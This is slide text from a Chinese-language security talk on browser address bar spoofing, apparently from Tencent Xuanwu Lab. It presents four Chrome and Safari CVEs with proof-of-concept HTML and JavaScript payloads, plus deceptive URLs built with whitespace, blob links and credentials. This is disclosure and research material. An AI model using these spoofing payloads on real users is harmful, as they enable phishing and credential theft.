现代浏览器地址栏之困 腾讯玄武实验室 徐少培
我是谁 Web/浏览器安全研究@ 作者@《Web前端黑客技术揭秘》 xisigr@gmail/twitter/weibo
地址栏的重要性 We recognize that the address bar is the only reliable security indicator in modern browsers. --Google Security Team[1] [1]https://www.google.com/about/appsecurity/reward-program/
安全指示符上的反思
你会点开安全指示符吗?
小屏幕地址栏的挑战
URL URL标准目前由whatwg维护[1] URL经过20多年的发展其定义在不断扩大,很多现代的主题也开始被URL规范所覆盖。 将URI[RFC3986][2]和IRI[RFC3987][3]与现代接轨,并逐步淘汰。 使得对’网址’一词进行标准化。URL / URI / IRI URL的解析应该向HTML解析一样坚固 [1] https://url.spec.whatwg.org/ [2] https://tools.ietf.org/html/rfc3986 [3] https://tools.ietf.org/html/rfc3987
URL组成
Address Bar Spoofing https://login.your-bank.com.evil.com/login.your-bank.com
Address Bar Spoofing 伪造了Web最基本的安全边界,起源(orgin) 2018/11/8 Address Bar Spoofing 伪造了Web最基本的安全边界,起源(orgin) Orgin=scheme+hostname+port 但人们(包括开发人员)往往不了解起源的概念,而更倾向于理解主机(hostname)的概念。 UI简化:忽略scheme(或图标替换)/port(默认80) 可伪造的主机包括什么? 域名[RFC1034] IP:IPv4[RFC791]/IPv6[RFC4291] 只要伪造了主机,就可以认为这是一个Address Bar Spoofing漏洞。
Address Bar Spoofing
Address Bar Spoofing漏洞案例
CVE-2016-1707 漏洞介绍 漏洞名称 Chrome Address Bar URL Spoofing On IOS 受影响产品 Chrome < v52.0.2743.82,IOS < v10 漏洞公告 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1707 发现者 xisigr 漏洞赏金 3000$
2018/11/8 CVE-2016-1707
CVE-2016-1707 key payload <body>Spoof</body> <script> payload=“key payload"; function pwned() { var t = window.open('', 'new'); t.document.write(atob(payload));} </script> <button onclick="pwned()">click me</button> key payload <body>Spoof</body> var link = document.createElement('a'); link.href = 'https://gmail.com::'; document.body.appendChild(link); link.click();
CVE-2016-1707 key payload发生了什么 ①, 跳转到一个新页面时,chrome允许对‘https://gmail.com::’进行加载。 这是错误的开始,加载了一个无效地址,并未对无效地址做任何处理 ②, 页面开始加载'https://gmail.com::' ,因加载的是一个无效的地址,于是地址栏处于一个挂起的状态(pending entry). ③, 当内容开始返回时,调用‘about:blank’,但此时chrome还处于一个挂起状态 (‘https://gmail.com::’) ,并且把‘https://gmail.com::’ 作为了最终的提交地址。 ④, 页面加载完毕。一个Address Bar Spoofing漏洞诞生了。
CVE-2016-5189 漏洞介绍 漏洞名称 Chrome Address Bar URL Spoofing with Blob-URLs 受影响产品 Google Chrome < 54.0.2840.59 for Windows,Mac,Linux. 54.0.2840.85 for Android 漏洞公告 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5189 发现者 xisigr 漏洞赏金 500$
CVE-2016-5189
CVE-2016-5189 <script> function pwned() { var t = window.open('', 'new'); t.document.write("<h1>phishing page</h1><title>google</title>"); t.stop();} </script> <a href=“key payload" target="new" onclick="setTimeout('pwned()','500')">click me1</a> <a href=“key payload" target="new" onclick="setTimeout('pwned()','500')">click me2</a> key payload (1) blob:http://www.google.com%EF%BE%A0……@xisigr.com //Unicode U+FFA0 (2) blob:http://www.google.com …………@xisigr.com //空格
CVE-2016-5189 key payload发生了什么 Chrome 渲染了Blob-URLs的用户名和密码部分,这是极其危险的。 2018/11/8 CVE-2016-5189 key payload发生了什么 Chrome 渲染了Blob-URLs的用户名和密码部分,这是极其危险的。 一个URL的用户名和密码不应该被渲染,因为它们可以被误认为是一个URL的主机。 https://examplecorp.com@attacker.example/ Unicode字符(比如U+0020 、U+FFA0),在Chrome地址栏中将显示空白。大量的空白字符覆盖了真实的主机。
CVE-2016-5222 漏洞介绍 漏洞名称 Chrome Address Bar URL Spoofing 受影响产品 2018/11/8 CVE-2016-5222 漏洞介绍 漏洞名称 Chrome Address Bar URL Spoofing 受影响产品 Chrome < v55.0.2883.75 for Winows/MAC/Linux 漏洞公告 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5222 发现者 xisigr 漏洞赏金 500$
CVE-2016-5222
CVE-2016-5222 <a href="key payload">Right Click</a> (1)google.com:: (2)www.google.com::/url?q=http%3A%2F%2Fxisigr.com%2Ftest%2Fspoof%2Fchrome%2F3.html&sa=D&sntz=1&usg=AFQjCNG-QnLGG1ixIlOzlpZQn5cweSU3Cw
CVE-2016-5222 key payload发生了什么 通过右键在新窗口打开页面,Chrome允许加载(google.com::)一个无效的地址。 加载(google.com)返回页面,并将(google.com:)作为最后提交地址。 之后的重定向不会触发(google.com:)被更新 加载完毕。一个Address Bar Spoofing漏洞诞生了。
CVE-2017-2517 漏洞介绍 漏洞名称 Apple Safari Addressbar Spoofing with Search Engines on IOS 受影响产品 Safari, IOS < 10.3.3 漏洞公告 https://support.apple.com/zh-cn/HT207923 发现者 xisigr 修复时间 报告日期2016/2/1 修复日期2017/7/20
CVE-2017-2517
CVE-2017-2517 <a href="https://www.baidu.com/s?word=key payload">Click me</a> key payload (1) accounts.google.com (2) www.google.com ……XSS Payload (3) spoof.com "><body style="background:red;visibility:hidden;"></body>
CVE-2017-2517 key payload发生了什么 Safari的URL地址栏和搜索栏是合并在一起的,在设置中可选择默认搜索引擎:如谷歌、雅虎、必应、百度、DuckDuckGo…… 当在默认搜索引擎中搜索的内容是网址的时,URL地址栏显示的将是这个网址。 如果这个搜索引擎存在XSS的情况下,攻击者可以使URL地址栏中为任意URL,并更改页面内容。 这样就完成了一次URL地址栏欺骗攻击。
Address Bar Spoofing漏洞挖掘奥义 地址栏之困 浏览器地址栏是个矛盾体,它提供两个相互竞争的角色:你在哪和你要去哪。它只能显示其中的一个。而地址栏恰是困于这两个角色的转换之中。 深刻理解地址栏之困,即是挖掘Address Bar Spoofing漏洞的核心奥义。
QA 公众号和微博"腾讯玄武实验室" 每天推送国际最新安全技术资料